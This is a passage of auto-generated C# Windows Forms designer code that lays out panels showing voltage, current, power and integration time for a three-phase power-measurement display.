this.ulPanel4.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel4.OuterColor2 = System.Drawing.Color.White;
this.ulPanel4.Size = new System.Drawing.Size(90, 42);
this.ulPanel4.Spacing = 0;
this.ulPanel4.TabIndex = 11;
this.ulPanel4.Text = "R";
this.ulPanel4.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel4.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel5
//
this.ulPanel5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(78)))), ((int)(((byte)(152)))));
this.ulPanel5.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel5.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel5.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel5.ForeColor = System.Drawing.Color.White;
this.ulPanel5.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel5.InnerColor2 = System.Drawing.Color.White;
this.ulPanel5.Location = new System.Drawing.Point(100, 40);
this.ulPanel5.Name = "ulPanel5";
this.ulPanel5.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel5.OuterColor2 = System.Drawing.Color.White;
this.ulPanel5.Size = new System.Drawing.Size(90, 42);
this.ulPanel5.Spacing = 0;
this.ulPanel5.TabIndex = 10;
this.ulPanel5.Text = "S";
this.ulPanel5.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel5.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// voltREdit
//
this.voltREdit.BackColor = System.Drawing.Color.Black;
this.voltREdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.voltREdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.voltREdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.voltREdit.ForeColor = System.Drawing.Color.Lime;
this.voltREdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.voltREdit.InnerColor2 = System.Drawing.Color.White;
this.voltREdit.Location = new System.Drawing.Point(6, 86);
this.voltREdit.Name = "voltREdit";
this.voltREdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.voltREdit.OuterColor2 = System.Drawing.Color.White;
this.voltREdit.Size = new System.Drawing.Size(90, 48);
this.voltREdit.Spacing = 0;
this.voltREdit.TabIndex = 16;
this.voltREdit.Text = "0.0";
this.voltREdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.voltREdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// voltSEdit
//
this.voltSEdit.BackColor = System.Drawing.Color.Black;
this.voltSEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.voltSEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.voltSEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.voltSEdit.ForeColor = System.Drawing.Color.Lime;
this.voltSEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.voltSEdit.InnerColor2 = System.Drawing.Color.White;
this.voltSEdit.Location = new System.Drawing.Point(100, 86);
this.voltSEdit.Name = "voltSEdit";
this.voltSEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.voltSEdit.OuterColor2 = System.Drawing.Color.White;
this.voltSEdit.Size = new System.Drawing.Size(90, 48);
this.voltSEdit.Spacing = 0;
this.voltSEdit.TabIndex = 15;
this.voltSEdit.Text = "0.0";
this.voltSEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.voltSEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// voltTEdit
//
this.voltTEdit.BackColor = System.Drawing.Color.Black;
this.voltTEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.voltTEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.voltTEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.voltTEdit.ForeColor = System.Drawing.Color.Lime;
this.voltTEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.voltTEdit.InnerColor2 = System.Drawing.Color.White;
this.voltTEdit.Location = new System.Drawing.Point(194, 86);
this.voltTEdit.Name = "voltTEdit";
this.voltTEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.voltTEdit.OuterColor2 = System.Drawing.Color.White;
this.voltTEdit.Size = new System.Drawing.Size(90, 48);
this.voltTEdit.Spacing = 0;
this.voltTEdit.TabIndex = 14;
this.voltTEdit.Text = "0.0";
this.voltTEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.voltTEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// voltSigmaEdit
//
this.voltSigmaEdit.BackColor = System.Drawing.Color.Black;
this.voltSigmaEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.voltSigmaEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.voltSigmaEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.voltSigmaEdit.ForeColor = System.Drawing.Color.Lime;
this.voltSigmaEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.voltSigmaEdit.InnerColor2 = System.Drawing.Color.White;
this.voltSigmaEdit.Location = new System.Drawing.Point(288, 86);
this.voltSigmaEdit.Name = "voltSigmaEdit";
this.voltSigmaEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.voltSigmaEdit.OuterColor2 = System.Drawing.Color.White;
this.voltSigmaEdit.Size = new System.Drawing.Size(90, 48);
this.voltSigmaEdit.Spacing = 0;
this.voltSigmaEdit.TabIndex = 13;
this.voltSigmaEdit.Text = "0.0";
this.voltSigmaEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.voltSigmaEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel11
//
this.ulPanel11.BackColor = System.Drawing.Color.Black;
this.ulPanel11.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel11.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel11.Controls.Add(this.ulPanel1);
this.ulPanel11.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel11.ForeColor = System.Drawing.SystemColors.ControlText;
this.ulPanel11.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel11.InnerColor2 = System.Drawing.Color.White;
this.ulPanel11.Location = new System.Drawing.Point(382, 86);
this.ulPanel11.Name = "ulPanel11";
this.ulPanel11.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel11.OuterColor2 = System.Drawing.Color.White;
this.ulPanel11.Size = new System.Drawing.Size(61, 48);
this.ulPanel11.Spacing = 0;
this.ulPanel11.TabIndex = 12;
this.ulPanel11.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel11.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel1
//
this.ulPanel1.BackColor = System.Drawing.Color.Gray;
this.ulPanel1.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel1.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel1.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel1.ForeColor = System.Drawing.Color.Yellow;
this.ulPanel1.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel1.InnerColor2 = System.Drawing.Color.White;
this.ulPanel1.Location = new System.Drawing.Point(2, 2);
this.ulPanel1.Name = "ulPanel1";
this.ulPanel1.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel1.OuterColor2 = System.Drawing.Color.White;
this.ulPanel1.Size = new System.Drawing.Size(57, 44);
this.ulPanel1.Spacing = 0;
this.ulPanel1.TabIndex = 47;
this.ulPanel1.Text = "V";
this.ulPanel1.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel1.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// powerREdit
//
this.powerREdit.BackColor = System.Drawing.Color.Black;
this.powerREdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.powerREdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.powerREdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.powerREdit.ForeColor = System.Drawing.Color.Lime;
this.powerREdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.powerREdit.InnerColor2 = System.Drawing.Color.White;
this.powerREdit.Location = new System.Drawing.Point(6, 190);
this.powerREdit.Name = "powerREdit";
this.powerREdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.powerREdit.OuterColor2 = System.Drawing.Color.White;
this.powerREdit.Size = new System.Drawing.Size(90, 48);
this.powerREdit.Spacing = 0;
this.powerREdit.TabIndex = 26;
this.powerREdit.Text = "0.0";
this.powerREdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.powerREdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// powerSEdit
//
this.powerSEdit.BackColor = System.Drawing.Color.Black;
this.powerSEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.powerSEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.powerSEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.powerSEdit.ForeColor = System.Drawing.Color.Lime;
this.powerSEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.powerSEdit.InnerColor2 = System.Drawing.Color.White;
this.powerSEdit.Location = new System.Drawing.Point(100, 190);
this.powerSEdit.Name = "powerSEdit";
this.powerSEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.powerSEdit.OuterColor2 = System.Drawing.Color.White;
this.powerSEdit.Size = new System.Drawing.Size(90, 48);
this.powerSEdit.Spacing = 0;
this.powerSEdit.TabIndex = 25;
this.powerSEdit.Text = "0.0";
this.powerSEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.powerSEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// powerTEdit
//
this.powerTEdit.BackColor = System.Drawing.Color.Black;
this.powerTEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.powerTEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.powerTEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.powerTEdit.ForeColor = System.Drawing.Color.Lime;
this.powerTEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.powerTEdit.InnerColor2 = System.Drawing.Color.White;
this.powerTEdit.Location = new System.Drawing.Point(194, 190);
this.powerTEdit.Name = "powerTEdit";
this.powerTEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.powerTEdit.OuterColor2 = System.Drawing.Color.White;
this.powerTEdit.Size = new System.Drawing.Size(90, 48);
this.powerTEdit.Spacing = 0;
this.powerTEdit.TabIndex = 24;
this.powerTEdit.Text = "0.0";
this.powerTEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.powerTEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// powerSigmaEdit
//
this.powerSigmaEdit.BackColor = System.Drawing.Color.Black;
this.powerSigmaEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.powerSigmaEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.powerSigmaEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.powerSigmaEdit.ForeColor = System.Drawing.Color.Lime;
this.powerSigmaEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.powerSigmaEdit.InnerColor2 = System.Drawing.Color.White;
this.powerSigmaEdit.Location = new System.Drawing.Point(288, 190);
this.powerSigmaEdit.Name = "powerSigmaEdit";
this.powerSigmaEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.powerSigmaEdit.OuterColor2 = System.Drawing.Color.White;
this.powerSigmaEdit.Size = new System.Drawing.Size(90, 48);
this.powerSigmaEdit.Spacing = 0;
this.powerSigmaEdit.TabIndex = 23;
this.powerSigmaEdit.Text = "0.0";
this.powerSigmaEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.powerSigmaEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel16
//
this.ulPanel16.BackColor = System.Drawing.Color.Black;
this.ulPanel16.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel16.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel16.Controls.Add(this.ulPanel24);
this.ulPanel16.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel16.ForeColor = System.Drawing.SystemColors.ControlText;
this.ulPanel16.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel16.InnerColor2 = System.Drawing.Color.White;
this.ulPanel16.Location = new System.Drawing.Point(382, 190);
this.ulPanel16.Name = "ulPanel16";
this.ulPanel16.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel16.OuterColor2 = System.Drawing.Color.White;
this.ulPanel16.Size = new System.Drawing.Size(61, 48);
this.ulPanel16.Spacing = 0;
this.ulPanel16.TabIndex = 22;
this.ulPanel16.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel16.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel24
//
this.ulPanel24.BackColor = System.Drawing.Color.Gray;
this.ulPanel24.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel24.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel24.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel24.ForeColor = System.Drawing.Color.Yellow;
this.ulPanel24.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel24.InnerColor2 = System.Drawing.Color.White;
this.ulPanel24.Location = new System.Drawing.Point(2, 2);
this.ulPanel24.Name = "ulPanel24";
this.ulPanel24.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel24.OuterColor2 = System.Drawing.Color.White;
this.ulPanel24.Size = new System.Drawing.Size(57, 44);
this.ulPanel24.Spacing = 0;
this.ulPanel24.TabIndex = 48;
this.ulPanel24.Text = "P";
this.ulPanel24.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel24.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// currentREdit
//
this.currentREdit.BackColor = System.Drawing.Color.Black;
this.currentREdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.currentREdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.currentREdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.currentREdit.ForeColor = System.Drawing.Color.Lime;
this.currentREdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.currentREdit.InnerColor2 = System.Drawing.Color.White;
this.currentREdit.Location = new System.Drawing.Point(6, 138);
this.currentREdit.Name = "currentREdit";
this.currentREdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.currentREdit.OuterColor2 = System.Drawing.Color.White;
this.currentREdit.Size = new System.Drawing.Size(90, 48);
this.currentREdit.Spacing = 0;
this.currentREdit.TabIndex = 21;
this.currentREdit.Text = "0.0";
this.currentREdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.currentREdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// currentSEdit
//
this.currentSEdit.BackColor = System.Drawing.Color.Black;
this.currentSEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.currentSEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.currentSEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.currentSEdit.ForeColor = System.Drawing.Color.Lime;
this.currentSEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.currentSEdit.InnerColor2 = System.Drawing.Color.White;
this.currentSEdit.Location = new System.Drawing.Point(100, 138);
this.currentSEdit.Name = "currentSEdit";
this.currentSEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.currentSEdit.OuterColor2 = System.Drawing.Color.White;
this.currentSEdit.Size = new System.Drawing.Size(90, 48);
this.currentSEdit.Spacing = 0;
this.currentSEdit.TabIndex = 20;
this.currentSEdit.Text = "0.0";
this.currentSEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.currentSEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// currentTEdit
//
this.currentTEdit.BackColor = System.Drawing.Color.Black;
this.currentTEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.currentTEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.currentTEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.currentTEdit.ForeColor = System.Drawing.Color.Lime;
this.currentTEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.currentTEdit.InnerColor2 = System.Drawing.Color.White;
this.currentTEdit.Location = new System.Drawing.Point(194, 138);
this.currentTEdit.Name = "currentTEdit";
this.currentTEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.currentTEdit.OuterColor2 = System.Drawing.Color.White;
this.currentTEdit.Size = new System.Drawing.Size(90, 48);
this.currentTEdit.Spacing = 0;
this.currentTEdit.TabIndex = 19;
this.currentTEdit.Text = "0.0";
this.currentTEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.currentTEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// currentSigmaEdit
//
this.currentSigmaEdit.BackColor = System.Drawing.Color.Black;
this.currentSigmaEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.currentSigmaEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.currentSigmaEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.currentSigmaEdit.ForeColor = System.Drawing.Color.Lime;
this.currentSigmaEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.currentSigmaEdit.InnerColor2 = System.Drawing.Color.White;
this.currentSigmaEdit.Location = new System.Drawing.Point(288, 138);
this.currentSigmaEdit.Name = "currentSigmaEdit";
this.currentSigmaEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.currentSigmaEdit.OuterColor2 = System.Drawing.Color.White;
this.currentSigmaEdit.Size = new System.Drawing.Size(90, 48);
this.currentSigmaEdit.Spacing = 0;
this.currentSigmaEdit.TabIndex = 18;
this.currentSigmaEdit.Text = "0.0";
this.currentSigmaEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Right;
this.currentSigmaEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel21
//
this.ulPanel21.BackColor = System.Drawing.Color.Black;
this.ulPanel21.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel21.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel21.Controls.Add(this.ulPanel23);
this.ulPanel21.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel21.ForeColor = System.Drawing.SystemColors.ControlText;
this.ulPanel21.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel21.InnerColor2 = System.Drawing.Color.White;
this.ulPanel21.Location = new System.Drawing.Point(382, 138);
this.ulPanel21.Name = "ulPanel21";
this.ulPanel21.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel21.OuterColor2 = System.Drawing.Color.White;
this.ulPanel21.Size = new System.Drawing.Size(61, 48);
this.ulPanel21.Spacing = 0;
this.ulPanel21.TabIndex = 17;
this.ulPanel21.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel21.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel23
//
this.ulPanel23.BackColor = System.Drawing.Color.Gray;
this.ulPanel23.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel23.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel23.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel23.ForeColor = System.Drawing.Color.Yellow;
this.ulPanel23.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel23.InnerColor2 = System.Drawing.Color.White;
this.ulPanel23.Location = new System.Drawing.Point(2, 2);
this.ulPanel23.Name = "ulPanel23";
this.ulPanel23.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel23.OuterColor2 = System.Drawing.Color.White;
this.ulPanel23.Size = new System.Drawing.Size(57, 44);
this.ulPanel23.Spacing = 0;
this.ulPanel23.TabIndex = 48;
this.ulPanel23.Text = "A";
this.ulPanel23.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel23.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// integTimeEdit
//
this.integTimeEdit.BackColor = System.Drawing.Color.Black;
this.integTimeEdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.integTimeEdit.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.integTimeEdit.Font = new System.Drawing.Font("Arial Rounded MT Bold", 20F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.integTimeEdit.ForeColor = System.Drawing.Color.Lime;
this.integTimeEdit.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.integTimeEdit.InnerColor2 = System.Drawing.Color.White;
this.integTimeEdit.Location = new System.Drawing.Point(6, 398);
this.integTimeEdit.Name = "integTimeEdit";
this.integTimeEdit.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.integTimeEdit.OuterColor2 = System.Drawing.Color.White;
this.integTimeEdit.Size = new System.Drawing.Size(372, 50);
this.integTimeEdit.Spacing = 0;
this.integTimeEdit.TabIndex = 46;
this.integTimeEdit.Text = "0";
this.integTimeEdit.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.integTimeEdit.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel26
//
this.ulPanel26.BackColor = System.Drawing.Color.Black;
this.ulPanel26.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel26.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel26.Controls.Add(this.ulPanel44);
this.ulPanel26.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel26.ForeColor = System.Drawing.SystemColors.ControlText;
this.ulPanel26.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel26.InnerColor2 = System.Drawing.Color.White;
this.ulPanel26.Location = new System.Drawing.Point(382, 398);
this.ulPanel26.Name = "ulPanel26";
this.ulPanel26.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel26.OuterColor2 = System.Drawing.Color.White;
this.ulPanel26.Size = new System.Drawing.Size(61, 50);
this.ulPanel26.Spacing = 0;
this.ulPanel26.TabIndex = 42;
this.ulPanel26.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel26.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel44
//
this.ulPanel44.BackColor = System.Drawing.Color.Gray;
this.ulPanel44.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel44.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel44.Font = new System.Drawing.Font("Arial Rounded MT Bold", 18F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel44.ForeColor = System.Drawing.Color.Yellow;
this.ulPanel44.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel44.InnerColor2 = System.Drawing.Color.White;
this.ulPanel44.Location = new System.Drawing.Point(2, 2);
this.ulPanel44.Name = "ulPanel44";
this.ulPanel44.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel44.OuterColor2 = System.Drawing.Color.White;
this.ulPanel44.Size = new System.Drawing.Size(57, 46);
this.ulPanel44.Spacing = 0;
this.ulPanel44.TabIndex = 48;
this.ulPanel44.Text = "sec";
this.ulPanel44.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel44.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// whREdit
//
this.whREdit.BackColor = System.Drawing.Color.Black;
this.whREdit.BevelInner = Ulee.Controls.EUlBevelStyle.None;
